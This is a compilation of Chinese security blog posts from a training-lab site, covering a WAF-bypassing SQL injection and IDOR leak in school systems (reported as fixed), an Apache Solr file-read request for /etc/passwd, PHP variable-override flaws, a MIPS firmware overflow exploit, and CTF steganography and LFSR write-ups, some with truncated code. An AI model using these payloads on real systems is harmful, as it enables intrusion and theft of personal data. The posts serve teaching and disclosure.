Lower-SQL至系统沦陷
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>> 在一次edusrc挖掘中,发现了一个系统,对于学校来讲算是及其重要的一个系统,其中部署这大批量的教师+学生信息 同时这个功能点的验证码可以被绕过,拦截重放Intruder进行BP爆破,献上我的大字典并没有任何结果,阿巴阿巴.... 爆破无法成功,尝试一波sql注入,照理来讲这种子域下重要的系统应该会有waf等一系列防护操作,即使这样还是需要试试。上来一个admin’ 发现报错。笃定大概率有sql,还是iis搭建的 尝试利用admin’ or ‘1’=’1 密码123456手法 来嗅探系统中是否存在密码为123456的用户,当我开心敲下空格,阿巴阿巴.... 有限制 尝试绕waf,发现当 or 两侧拥有空格时,or这个关键字会被waf拦截,当尝试使用/**/注释符来绕过时发现依旧会产生报错,或许可能是对于等于号进行了限制,利用LIKE尝试,依旧是提示检测到非法字符 从上文的报错可以知道是用的iis7.5搭建,mssql数据库,内敛注释仅被mysql解析,多次FUZZ发现是对于//注释符进行了过滤,那么就在//中任意添加字符串,这边还有前端长度限制,直接F12改maxlength值,同时此系统的应该是没有存在123456密码的用户。换种思路,能来证明其存在注入,让其报错 返回服务器版本信息。 Payload:whskxk'/!&/or/!&/convert(int,@@version)=1/!&/AND/!&/'1'LIKE'1 成功返回服务器版本信息 已经知道此类系统存在SQL 用fofa进行查找 进入其它系统来寻找后台漏洞,发现存在68个类似使用此系统的学校 发现一处可以进入的学校,打入payload 密码123456 当我们利用payload进入系统的时候,发现存在两个功能点,第一个是权限较低的用户,第二个是管理员用户,当点击此功能点的时候 会发现下面有一个地址携带敏感的工号(这个之前在两个功能点都进去之后,没有莫得特别严重的漏洞,回过头来摸索的时候发现的。挖洞讲究的是细心+耐心) 感觉有戏,打开无痕模式 复制此URL,同时将Userid的值修改成admin。 我德西玛 精神小伙,虎躯一震,揉揉眼睛。全校学生个人信息到手,教师的个人信息也同时到手。其家庭成员信息也到手,阿巴巴阿巴.... 回想FOFA搜集到的资产+未授权访问.... EDUSRC冲分!!! GOGOGO!!! 涉及漏洞均已提交EDUSRC,同时涉及院校都已积极修复响应。遵守网络安全!共筑美好社会! 你想在靶场学习CTF技术吗?
【隐写】开局一张图,啥也看不出
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>  最近遇到一个CTF题目,上面就一张图片是什么?啥都看不出来。今天来看一下CTF图片隐写题目,在图片里面隐藏一些不为人知的flag呢? 本次实验的地址为:《CTF Stegano练习之隐写6》。 首先来看题目。在实验主机上的C:\Stegano\6目录下提供了pic1.jpg以及pic2.jpg两个文件,请对这两文件进行分析,找到一个由两个英文单词组成的字符串Flag。 这两张图看起来都感觉都差不多全是黑白像素点,怎么去找flag呢? 这里有一个神器StegSolve,使用StegSolve提取Flag打开桌面上的StegSolve,然后选择菜单项“File”、“Open”打开pic1.jpg,然后选择菜单项“Analyse”、“Image Combiner”选择pic2.jpg文件,默认的XOR操作就可以看到Flag了,如图所示: 经过简单的分析,我们发现两个图片的尺寸都是300*300,而且文件大小都是71.6KB,所以就不可能存在某一个文件中隐藏了额外的数据的情况了。那么我们可以对两个文件进行结合分析,即将两个文件的像素RGB值进行XOR、ADD、SUB等操作,看看是否能看到有用的信息。而StegSolve可以十分方便的实现这些操作。 但是使用工具也有一点不好,就是工作的扩展性几乎为零,不能进行批量的自动化处理,而对于自己编写的脚本,自然可以十分方便的进行扩展,可以根据实际需求进行各种定制,并进行批量的自动化处理等。 对于这类题目强烈推荐使用Python的PIL库,脚本“C:\Stegano\6\xorImg.py”的源代码如下: #!/usr/bin/env python # -- coding:utf-8 -- from PIL import Image def loadImage(filename): img = Image.open(filename) width, height = img.size img = img.convert("RGB") pixel = img.load() return width, height, pixel def combineImage(file1, file2, file3): w1, h1, p1 = loadImage(file1) w2, h2, p2 = loadImage(file2) width = min(w1, w2) height = min(h1, h2) img = Image.new("RGB", (width, height)) pix = img.load() for y in xrange(0, height): for x in xrange(0, width): r1, g1, b1 = p1[x, y] r2, g2, b2 = p2[x, y] pix[x, y] = r1^r2, g1^g2, b1^b2 img.save(file3) if name == "main": combineImage("pic1.jpg", "pic2.jpg", "pic3.jpg") 双击运行这个python脚本,就可以得到处理结果pic3.jpg,打开该图片就可以看到Flag字符串了,为AZADI TOWER。 脚本的代码比较简单,大致就是使用loadImage函数得到图片的长度、宽度、像素矩阵,然后在函数combineImage中对两个矩阵的像素点进行异或运算,并保存到第三张图片中。注意当两张图片的尺寸不一样的时候,我们进行了额外的处理,即只取最小的长度和宽度。 但是你这里只有XOR脚本,没有其他的。 下面继续来写一个通用的脚本,我们可以对该脚本进行修改,增加其可扩展的灵活性,通过定义一个运算函数实现通用的处理功能,比如我们可以定义xor、or、and三个操作的函数,就可以得到三个不同的处理结果了。脚本“C:\Stegano\6\combineImg.py”的源代码如下: #!/usr/bin/env python # -- coding:utf-8 -- from PIL import Image def xorFun(x, y): return x^y def orFun(x, y): return x|y def andFun(x, y): return x&y def loadImage(filename): img = Image.open(filename) width, height = img.size img = img.convert("RGB") pixel = img.load() return width, height, pixel def combineImage(file1, file2, file3, func): w1, h1, p1 = loadImage(file1) w2, h2, p2 = loadImage(file2) width = min(w1, w2) height = min(h1, h2) img = Image.new("RGB", (width, height)) pix = img.load() for y in xrange(0, height): for x in xrange(0, width): r1, g1, b1 = p1[x, y] r2, g2, b2 = p2[x, y] pix[x, y] = func(r1,r2), func(g1,g2), func(b1,b2) img.save(file3) if name == "main": combineImage("pic1.jpg", "pic2.jpg", "xor.jpg", xorFun) combineImage("pic1.jpg", "pic2.jpg", "or.jpg", orFun) combineImage("pic1.jpg", "pic2.jpg", "and.jpg", andFun) 这个题目不仅仅要会代码,重要的是从题目中找出隐写信息。因为题目有一定难度,才导致CTF比赛这么有竞争力。 如果看完这一篇还不过瘾的话可以去实验室做实验继续学习哦。
Apache Solr最新任意文件读取漏洞
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>  漏洞简介 Apache Solr是一个开源搜索服务引擎,默认安装未授权情况下攻击者可以构造恶意HTTP请求读取目标Apache Solr服务器的任意文件。 本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECIDde9d-11f0-4ac2-921f-b04f7e137c75 (Apache Solr是一个开源的搜索服务器。具有高度可靠、可伸缩和容错的,提供分布式索引、复制和负载平衡查询、自动故障转移和恢复、集中配置等功能。) 影响版本 solr任意版本 环境搭建 漏洞环境下载: https://archive.apache.org/dist/lucene/solr/8.8.0/solr-8.8.0.tgz解压后进入bin目录,启动(需要java环境), ./solr start 此时启动的solr是没有核心进行索引和搜索的,创建一个节点(核心) ./solr create -c test 访问:http://ip:8983可以看到创建的核心 实际场景下可以看到会有很多核心 漏洞复现 启用远程流传输 访问http://ip:8983/solr/test/config/抓包,将请求包修改为POST请求,修改Content-Type为“application/json”,发送以下数据: {"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}} 即可开启远程流。 读取文件 引入远程流,将stream.url的参数的内容作为流传递。正常情况下stream.url传入的内容为“stream.url=http:/http://www.remotesite.com/path/to/file.pdf”,构造传入的敏感文件 POST /solr/test/debug/dump?param=ContentStreams HTTP/1.1 Host: 192.168.74.139:8983 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36 Edg/89.0.774.57 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en-GB;q=0.8,en;q=0.7,en-US;q=0.6 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 29 stream.url=file:///etc/passwd 漏洞修复 (官方不承认这是漏洞.jpg) 因为solr默认安装情况下未授权,导致可以读取任意文件,启用Apache Solr身份验证可有效缓解该漏洞的影响 配置访问控制策略,避免Apache Solr暴露在互联网 参考 https://mp.weixin.qq.com/s/HMtAz6_unM1PrjfAzfwCUQ 如果看完这一篇还不过瘾的话可以去实验室做实验继续学习哦。
Stegano隐写-流量分析
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>  CTF套路千千万,今天来看看流量分析。 本次实验题目地址:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014121214032100001。 先来看题,给定的secret文件没有扩展名,我们需要先弄清楚文件的具体格式信息,才好进行更进一步的分析操作,这里使用TrID工具来对其进行识别。打开cmd命令提示符,切换到C:\Stegano\5目录,使用TrID对secret进行识别,如图所示: PCAP文件,这种类型的文件通常为网络通信流量抓包文件,可以使用Wireshark进行分析。我们给文件加上.pcap扩展名,然后使用Wireshark将其打开,就可以看到网络通信数据了,如图所示: 372条通信记录,算是很少很少的了,我们先看一下协议类型,除了TCP和UDP协议之外,更具体的协议大概有:TLS、ICMP、DNS、HTTP、FTP。我们可以对这几个协议的数据进行详细的分析,以FTP协议为例,选中一条FTP通信记录,然后单击右键,在菜单中选择“Follow TCP Stream”,我们看到的信息如图所示: 其中有一个hello.txt文件以及super_secret_message.png文件,这两个文件看起来比较可疑。 我们可以跟踪一下这两个文件的数据。因为FTP的控制命令和文件数据传输分开在两个不同的TCP连接中,因此我们还需要找到传输数据的TCP连接。经过实验步骤二的分析,我们知道通过FTP传送了hello.txt以及super_secret_message.png两个文件,现在我们需要将这两个文件的数据提取出来。 通过在Wireshark中对通信流量的分析,我们发现在包的序号为204的地方开始传送hello.txt的内容,在包的序号为312的地方开始传送super_secret_message.png的内容,如图所示: 因此我们可以在204以及312后面的数据包去找,以super_secret_message.png文件为例,我们发现序号为313的数据包的协议为FTP-DATA,选中该条记录之后,邮件选择“Follow TCP Stream”,显示方式选择“Raw”,然后选择“Save As”就可以保存这个PNG文件了,如下图所示: 打开PNG图片就可以看到Flag为flag{ThIs_Is_sO_1337},分析完毕。 老套路,还是隐写题,只是加了个流量分析,还要了解FTP协议,分析数据。找到突破口,合理的进行提取就可以事半功倍。 用实战磨练技术,加入网安实验室,1300+网安技能任你学!
CTF竞赛密码学之 LFSR
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>  概述: 线性反馈移位寄存器(LFSR)归属于移位寄存器(FSR),除此之外还有非线性移位寄存器(NFSR)。移位寄存器是流密码产生密钥流的一个主要组成部分。 $GF(2)$上一个n级反馈移位寄存器由n个二元存储器与一个反馈函数$f(a_1,a_2,...,a_n)$组成,如下图所示。    移位寄存器的三要素: 初始状态:由用户确定 反馈函数:$f(a_1,a_2,...,a_n)$是n元布尔函数,即函数的自变量和因变量只取0和1这两个可能值 输出序列 如果反馈函数是线性的,那么我们称其为 LFSR,如下图所示:    LFSR的输出序列{ $a_n$ }满足: $f(a_1,a_2,...,a_n) = c_1a_n⊕c_2a_{n-1}⊕...⊕c_na_1$ $a{n+1} = c_1a_n⊕c_2a{n-1}⊕...⊕c_na_1$ $a{n+2} = c_1a{n+1}⊕c_2a_n⊕...⊕c_na_2$ ..... $a{n+i} = c_1a{n+i-1}⊕c_2a_{n+i-2}⊕...⊕c_na_i$(i = 1,2,3,...) 举例: 下面是一个5级的线性反馈移位寄存器,其初始状态为$(a_1,a_2,...,a_n)= (1,0,0,1,1)$  反馈函数为:$a{5+i} = a{3+i}⊕a_i$,(i = 1,2,...)可以得到输出序列为: 1001101001000010101110110001111 100110… 周期为31。 对于 n 级线性反馈移位寄存器,最长周期为$2^n-1$(排除全零)。达到最长周期的序列一般称为 m 序列 本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015011915454100001 (本实验主要介绍了CTFCrypto练习之替换密码,通过本实验的学习,你能够了解CTF竞赛中的密码学题型,掌握凯撒密码破解方法,学会基于频率的替换密码破解方法。) 解决LFSR问题 Part(1) 2018 强网杯 Streamgame1 考点:已知反馈函数,输出序列,求逆推出初始状态 题目: from flag import flag assert flag.startswith("flag{") assert flag.endswith("}") # 作用:判断字符串是否以指定字符 开头或结尾 assert len(flag)==25 def lfsr(R,mask): output = (R << 1) & 0xffffff #将R向左移动1位,bin(0xffffff)='0b111111111111111111111111' i=(R&mask)&0xffffff #按位与运算符&:参与运算的两个值,如果两个相应位都为1,则该位的结果为1,否则为0 lastbit=0 wh 考点: def lfsr(R,mask): output = (R << 1) & 0xffffff i=(R&mask)&0xffffff lastbit=0 while i!=0: lastbit^=(i&1) i=i>>1 # R和mask进行异或操作,得到输出序列值 output^=lastbit #将输出值设置为output的最后一位 return (output,lastbit) 题目已知条件为 flag长度为19bits,mask长度也为19bits. 由LFSR的输出序列{ $a_n$ }满足的条件: $a{n+i} = c_1a{n+i-1}⊕c_2a_{n+i-2}⊕...⊕c_na_i$(i = 1,2,3,...) 可知,输出值$a{n+i}$的结果与c的值相关,即题目中的mask。只有当c的值为1时,$c_1a{n+i-1},...,c_na_i$的值才可能为1 题目中mask中只有第(3,4,5,9,13,14,17,19)位为1,其余都是0(mask这里右边才是第一位,从右往左增大) 现在我们的目的就是为了求出前19位seed的值,而我们已知了seed后面输出序列的值(题目中给的附件key.txt)。那么我们逆推就能得到seed的值了。lfsr(R,mask)函数执行的是19bits的值。那么我们获取到输出序列前19bits值,即: key = 0101010100111000111 现在需要计算$a{19}$的值,假设我们将 R = $a{19}010101010011100011$,进行lfsr(R,mask)运算,那么我们将得到输出值为 key[-1]=1。 因为mask中只有第(3,4,5,9,13,14,17,19)位为1,所以线性反馈函数只取这几位对应的a值 1=$a_{19}$^(R[-3])^(R[-4])^(R[-5])^(R[-9])^(R[-13])^(R[-14])^(R[-17]) 得1=$a{19}$^0,得到$a{19}$=1 同理:R = $a{18}a{19}01010101001110001$ 的输出值为 key[-2]=1,求得$a_{18}$=1 第一种方法 #python3 from Crypto.Util.number import* f = open('key.txt','rb').read() r = bytes_to_long(f) bin_out = bin(r)[2:].zfill(12*8) R = bin_out[:19] #获取输出序列中与掩码msk长度相同的值 print(R) mask = '1010011000100011100' #顺序 c_n,c_n-1,。。。,c_1 key = '0101010100111000111' R = '' for i in range(19): output = 'x'+key[:18 第二种方法 seed值只可能是0和1构成,所以猜就行了。 from Crypto.Util.number import* import os,sys os.chdir(sys.path[0]) f = open('key.txt','rb').read() c = bytes_to_long(f) bin_out = bin(c)[2:].zfill(12*8) #将key文本内容转换为 2 进制数,每个字节占 8 位 R = bin_out[0:19] #取输出序列的前19位 mask = 0b1010011000100011100 def lfsr(R,mask): output = (R << 1) & 0xffffffff i=(R&mask 第三种方法 import os,sys os.chdir(sys.path[0]) from Crypto.Util.number import * key = '0101010100111000111' mask = 0b1010011000100011100 R = "" index = 0 key = key[18] + key[:19] while index < 19: tmp = 0 for i in range(19): if mask >> i & 1: tmp ^= int(key[18 - i]) R += str(tmp) index += 1 key = key[18] + str Part(1) 2018 强网杯 Streamgame2 考点:已知反馈函数,输出序列,求逆推出初始状态 题目 from flag import flag assert flag.startswith("flag{") assert flag.endswith("}") assert len(flag)==27 def lfsr(R,mask): output = (R << 1) & 0xffffff i=(R&mask)&0xffffff lastbit=0 while i!=0: lastbit^=(i&1) i=i>>1 output^=lastbit return (output,lastbit) R=int(flag[5:-1],2) mask=0x100002 f=open("key"," 解法与 2018 强网杯 Streamgame1不能说是毫不相干,简直是一m0一样 from Crypto.Util.number import* bin_out = open('key.txt','rb').read() key = bin(bytes_to_long(bin_out))[2:] # print(key[0:21]) # print(bin(int('0x100002',16))) key = '101100101110100100001' mask= '100000000000000000010' R = '' for i in range(21): output = '?' + key[:20] ans = int(key[-1]) ^ int(outp Part(3) [CISCN2018]oldstreamgame 考点:和前面的题目一样都是给出输出序列和反馈函数,求seed(初始状态) 题目: flag = "flag{xxxxxxxxxxxxxxxx}" assert flag.startswith("flag{") assert flag.endswith("}") assert len(flag)==14 def lfsr(R,mask): output = (R << 1) & 0xffffffff i=(R&mask)&0xffffffff lastbit=0 while i!=0: lastbit^=(i&1) i=i>>1 output^=lastbit return (output,lastbit) R=int(flag[5:-1],16) mask = 0b1010 exp #python3 import os,sys os.chdir(sys.path[0]) from Crypto.Util.number import* f = open('key.txt','rb').read() key = bytes_to_long(f) bin_out = bin(key)[2:].zfill(100*8) # print(bin_out[:32]) #前32位就是key key = '00100000111111011110111011111000' mask = '10100100000010000000100010010100' R = '' for i in Part(4) [De1CTF2019]Babylfsr 考点:B-M 算法 题目给了度为256的lfsr,和输出长度为504的输出序列,并提示了FLAG的特征。 在CTFWiki中有介绍道 B-M 算法:如果我们知道了长度为 2n 的输出序列,那么就可以通过构造矩阵来求出 mask,时间复杂度:$O(n^2)$ 次比特操作,空间复杂度:$O(n)$ 比特。 题目: import hashlib from secret import KEY,FLAG,MASK assert(FLAG=="de1ctf{"+hashlib.sha256(hex(KEY)[2:].rstrip('L')).hexdigest()+"}") assert(FLAG[7:11]=='1224') LENGTH = 256 assert(KEY.bit_length()==LENGTH) assert(MASK.bit_length()==LENGTH) def pad(m): pad_length = 8 - len(m) return pad_length*'0'+m clas  这题中输出序列只给出了504个值,根据 B-M 算法,我们需要确定512个值 (即长度为2n的序列,n为lfsr的度,这里是256) 才能求出 mask ,所以我们可以爆破序列后面缺失的 8 位,可以得到 256 种 mask 可能值,用这 256 个 mask 恢复出 256 个key 值,再用限制条件筛选出 flag.  #sage import hashlib key = '0010100101111010000011011011110100000011110110011011110110001000011000111110000100011001011101100110000011001110101111100000001110110001101111100011101110000101001100100111111000110101111011011010011100000101110111100101100100111011010100101001010111110110011110100000000 output: flag{1224473d5e349dbf2946353444d727d8fa91da3275ed3ac0dedeb7e6a9ad8619}  上面是我关于LFSR学习的一点总结,希望对大家有所帮助,后面会介绍关于LFSR更多的知识点. 如果看完这一篇还不过瘾的话可以去实验室做实验继续学习哦。
图片隐写及BinWalk识别隐藏数据
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>  最近学习了图片隐写与音频隐写,这次来一个组合拳练习练习。  本次实验地址为https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014121214025200001。 首先对内嵌文件数据分析打开stego4.jpg文件,图片里面显示了一段文字MUSTNOTHACK,其他似乎没有什么有用的信息。 我们用binwalk看一下执行python binwalk命令来对stego4.jpg文件进行处理,如图所示: 可以看到里面多了一个7-zip,这说明软件分析出来这个图片里面还有一个压缩包。那我们怎么提取出来呢? 从BinWalk的分析结果可以看出,J其中RAR压缩包的文件偏移地址开始与0x1B8DD,这里我们使用C32Asm将从0x1B8DD开始的所有数据提取出来。打开桌面上的C32Asm工具,选择“文件”、“打开十六进制文件”载入C:\Stegano\4\stego4.jpg文件,然后右键选择“定义选择块”,填入数据块的起始地址为0x1B8DD,结束地址选择“文件结尾”,单击确定就选中数据块了,右键复制数据,然后新建一个十六进制文件,将原有的数据替换为复制的数据,保存即可得到压缩包文件。操作过程如图所示: 这样就得到了一个RAR压缩包文件了。 这个压缩包里面解压出来的flag.7z居然需要密码,p3文件也被隐藏起来了,在cmd中通过dir /AH命令就可以看到,使用attrib -H DO_NOT_LOOKING_HERE.mp3命令去除MP3文件的隐藏属性,如下图所示: 播放MP3文件并不能听到什么有用的信息,我们尝试使用MP3Stego检查文件中使用隐藏了数据,使用MP3Stego的时候需要指定一个密码,这里使用原始图片中显示的MUSTNOTHACK字符串。打开cmd命令提示符,首先切换到C:\tools\MP3Stego\目录,然后执行命令MP3StegoDecode.exe -P MUSTNOTHACK -X C:\Stegano\4\stego\DO_NOT_LOOKING_HERE.mp3,如图所示: 之后我们提取出来一个txt文件,文件内容为INEVERASKEDABOUTTHIS! 把文本内容当成压缩密码输入,得到Flag为VERYEASYSTEGO,即题目要求我们所要寻找的字符串。 用实战磨练技术,加入网安实验室,1300+网安技能任你学!
细说变量覆盖那些事
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>  前言 最近在挖洞和看一些ctf题目中可以看到一些变量覆盖的知识点,之前对这个方面学习的有点不全面,虽然网上有这方面的文章,但是感觉讲的不是很全面,所以就决定写一篇文章来总结这方面的知识。 本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID3ec0-232d-4e11-8cb0-52a8620c51ee  (通过该实验,详细了解PHP中变量覆盖漏洞相关的知识。如:$使用不当,extract()函数使用不当,parse_str()函数使用不当,import_request_variables()使用不当,开启了全局变量注册等。) 漏洞原理 变量覆盖是指可以用自己的传参值代替程序原有的变量值。 漏洞寻找 例如下面的函数或者语法使用不当时就会出现漏洞。 $ extract() parse_str() import_request_variables() mb_parse_str register_globals 漏洞解析 这里先分析函数,再分析漏洞。 extract() 原理 extract()函数从数组中将变量导入到当前的符号表。 例如 <?php $a = "eeknight"; $my_array = array("a" => "C","b" => "T", "c" => "F"); extract($my_array); echo "\$a = $a; \$b = $b; \$c = $c"; ?> 输出: $a = C; $b = T; $c = F 攻击手段 这里先举个例子 <?php $a="echo 'eeknight';"; echo $a; echo "\n"; eval($a); ?> 输出: echo 'eeknight'; eeknight 在上面双引号包裹了单引号,然后通过eval去利用他,就可以直接输出单引号里的东西了。 为什么要说这个东西,因为当你单引号里的东西可以被利用,是不是就可以写什么执行什么了。 怎么利用呢,这时候刚才介绍的extract就发挥作用了。 把上面的例子简单改一下 <?php $a="echo 'eeknight';"; extract($_GET); eval($a); ?> $ 原理 $产生的漏洞主要是因为foreach遍历数组的值,然后将获取的数组键名作为变量,数组中的值作为变量的值。 在这先简单介绍一下foreach和$。 foreach循环只适用于数组,并用于遍历数组中的每个键/值对。 <?php $colors = array("red","green","blue","yellow"); foreach ($colors as $value) { echo "$value \n"; } ?> 输出:red green blue yellow $这里举个栗子 在PHP中,$var表示一个名为var的普通变量,它存储字符串、整数、浮点等任何值。而$var是一个引用变量,用于存储$var的值。 在我看来就是套娃。 <?php $var = "ee"; $var = "eeknight"; echo $var ; echo "\n"; echo $var; echo "\n"; echo "$ee"; ?> 输出:ee eeknight eeknight parse_str() parse_str()把查询字符串解析到变量中。 parse_str(string,array) string 必需。规定要解析的字符串。 array 可选。规定存储变量的数组的名称。该参数指示变量将被存储到数组中。 <?php parse_str("name=eeknight&age=20"); echo $name."\n"; echo $age; ?> 输出:eeknight 20 攻击方式 通过上面的例子,可以想到,如果parse_str()括号是GET,PSOT等之类的,我们是不是就可以直接执行我们要的函数。 mb_parse_str mb_parse_str— 解析 GET/POST/COOKIE 数据并设置全局变量 具体的用法和上面的parse_str()一样。 这里就不多说明了。 import_request_variables() import_request_variables()函数将 GET/POST/Cookie 变量导入到全局作用域中。 <?php import_request_variables("gP", "ee_"); echo $ee_knight; ?> 攻击方式 只要利用了这个函数,就可以直接对里面的变量进行赋值。 register_globals register_globals的意思就是注册为全局变量 当php.ini中register_globals=On时,传递过来的值会被直接注册为全局变量,当为off时,需要到特定的数组中去得到 例子 <?php echo "Register_globals: ".(int)ini_get("register_globals")."<br/>"; if ($auth){ echo "hello!"; } ?> ON OFF 这里ON-->OFF的转换时记得重启一下apache。 一些附加说明 为什么echo "\$a = $a; \$b = $b; \$c = $c";这里要加上\呢 解:这些斜杠的的意思就是,让后面的变量失去意义。那么写的是什么就是什么。 parse_str() php.ini文件中的magic_quotes_gpc设置影响该函数的输出。如果已启用,那么在parse_str()解析之前,变量会被 addslashes() 转换。 import_request_variables() 该函数在最新版本的 PHP 中已经不支持。 支持的版本:PHP 4 >= 4.1.0, PHP 5 < 5.4.0。 register_globals register_globals从php5.3.0起废弃,并从php5.4.0时移除。 漏洞防御 addslashes() addslashes()在每个双引号(")前添加反斜杠。 使用原始变量,不进行变量注册; 验证变量存在,如果一定要进行变量注册,可以在注册变量前先判断变量是否存在。
Stegano 3个音频隐写
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>  进入实验地址https://www.yijinglab.com/expc.do?w=exp_ass&ec=ECID172.19.104.182014121211154100001。 先看第一类题查看频谱图使用Audacity打开sound1.wav文件。 用Audacity这个工具打开就是因为Audacity提供的强大的音频分析功能,包括波形图、频谱图等各种图形可视化效果。 Audacity默认显示的是音频文件左右两个声道的波形图,我们可以尝试切换到频谱图进行分析,操作步骤为:在Audacity中点击第一个声道的波形图左侧的文件名(这里为sound1),在弹出的菜单中选择“频谱图”,就可以切换到频谱图模式了,如图所示: Get到flag一枚,神奇。 再来看题,使用Audacity打开sound2.wav文件,仔细听其中发出的声音,发现前面半段音频发出的声音很难挺清楚在说什么,而后面半段则可以清晰的听到一段英文发音。 听是不可能听出来的,这里音频可是被反向了,在Audacity中,选择“特效”、“反向”菜单项,然后播放反向之后的音频,如图所示: 处理之后,就可以清晰的听到声音the flag is high_level_encryption,这就是我们所要找的Flag字符串了。 还有一种。 继续看第三种使用Audacity打开sound3.wav文件,发现左右两个声道的波形图完全不一样,其中第一个波形图只在时间轴的中间部分存在一些有规律的小点,而第二个波形图则是正常的声音波形图,如下图所示: 按下键盘左下角的Ctrl按键,同时滚动鼠标滚轮,对波形图进行放大操作,其中第一个波形图放大后如图所示: 这种就是摩尔斯电码,这里考的也是摩尔斯电码,其中较短的波形表示点“.”,而较长的波形则表示横线“-”,而间隔较远的两个波形图则认为是两个不同的摩斯码。因此,第一个声道的波形图可以表示为:..... -... -.-. ----. ..--- ..... -.... ....- ----. -.-. -... ----- .---- ---.. ---.. ..-. ..... ..--- . -.... .---- --... -.. --... ----- ----. ..--- ----. .---- ----. .---- -.-. 使用JPK进行解码,打开桌面上的JPK,将摩斯码输入之后,依次选择菜单项“Ascii”、“Decode”、“DeMorse”,得到字符串5BC925649CB0188F52E617D70929191C,如图所示: 注意摩斯码不区分大小写,JPK默认转换为大写形式,所以如果得到的字符串提交不正确,可以尝试转换为小写形式提交。 这道题有3个问题,每一个都要仔细才能得出答案。和上次的隐写题一样,利用工具分析音频,再输入摩斯码就可以得出答案了。 想亲自体验这些精彩的实验吗?点击下方按钮注册,一起来实战!
从DVRF靶机学习固件安全
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>  DVRF 项目介绍 该项目目标是模拟一个真实的环境,帮助人们了解 x86_64 之外的其他 CPU 架构。此固件是针对 Linksys E1550 设备量身定制的。如果您没有,请不要担心!可以用 qemu 模拟。 项目地址:https://github.com/praetorian-inc/DVRF 本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECIDd6d0-f3ad-47c1-9d14-8a29aecc8b4e  (通过本次实验学习如何在固件被加密的情况下进行解密,使得固件层面的路由器安全研究顺利进行。) 模拟环境 主要是用 ubuntu 16 ,如果部分题目用 qemu-user 模拟不了,就转去 attify 3.0 。但是 attify gdb 插件 gef 视乎在模拟时 vmmap 查不过来 libc 地址,问题不大只是查询方法饶了一点,还是可以解决的。 ubuntu 16.04 pwndbg Qemu-static(version 2.11.1) gdb-multiarch attify 3.0 下载地址:https://github.com/adi0x90/attifyos stack_bof_01 获取参数后,未校验长度赋值给局部变量造成栈溢出,有后门函数 0x00400950 : Main 函数由 libc_main_start 调用,即 main 函数为非叶子函数,返回地址存放在栈上,从汇编可见: 直接跳转 0x00400950 会因为 t9 的值被修改而错误。mips默认 t9 为当前函数开始地址。函数内部通过 t9 寄存器和 gp 寄存器来找数据,地址等。 其他师傅文章中是通过找 libc 中的 lw $t9, arg_0($sp);jalr $t9 调整 t9 寄存器。但是我固件镜像中的 libc 没有这个 gadget ,按照偏移地址跳转过去是 jalr $t9 。换个思路直接跳过 dat_shell 开头调整 gp 部分: 调试方法 需要打开几个 terminal 启动不同的命令: 启动 qemu 模拟 -strace 查看 qemu 调试信息,方便观察执行了什么命令 qemu-mipsel-static -L . -g 1234 -strace ./pwnable/Intro/uaf_01 aaaa gdb-multiarch gdb-multiarch ./pwnable/Intro/stack_bof_01 set architecture mips set endian little target remote :1234 连上之后会停在 start ,在 main 函数开头打断点,运行到这个断点,然后就慢慢单步调试。 EXP 字符串是从参数读入,跳转地址转换后是不可见字符 ,需要借助 cat 传入参数 # file_name: stack_bof_01.py from pwn import * context.binary = "./pwnable/Intro/stack_bof_01" context.arch = "mips" context.endian = "little" backdoor = 0x0040095c payload = 'a'*0xc8+'b'*0x4 payload += p32(backdoor) with open("stack_bof_01_payload","w") as file: file.write(payload) 命令行执行: sudo chroot . ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01 "`cat stack_bof_01_payload`" stack_bof_02 和前面一题差不多,调试方法也一样,就是少了后门函数,造成溢出函数变成了 strcpy : main 非叶子函数覆盖函数返回地址跳转存放在栈上的 shellocde 。qemu 模拟地址没有随机化,相当于 aslr 关闭了,直接调试查出 v4 的内存地址 直接写入 shellcode 可以完整执行完,但是执行 syscall 0x40404 之后没有弹 shell 而是进行运行到下一条指令。问了师傅说也有遇到过这种情况,通过加无意义的指令(nop)调整 shellcode 位置有机会能成,用了 XOR $t1, $t1, $t1 避免 strcpy \x00 截断(只有不包含截断符指令都行),尝试后无果。 查阅资料后发现,由于 mips 是流水指令集,存在 cache incoherency 的特性,需要调用 sleep 或者其他函数将数据区刷新到当前指令区中去,才能正常执行 shellcode 。 构造 ROP 的 gadget 得去 libc 找,程序自身没多少个。我在 ubuntu18 gdb 连上报错,换到 ubuntu16 vmmap 查不出来 libc 信息(如图),最后换 attify 解决问题。 libc路径:/squashfs-root/lib/libc.so.0 先调用 sleep(1) 就需要找 gadget 控制参数以及跳转。mipsrop.find("li $a0,1") 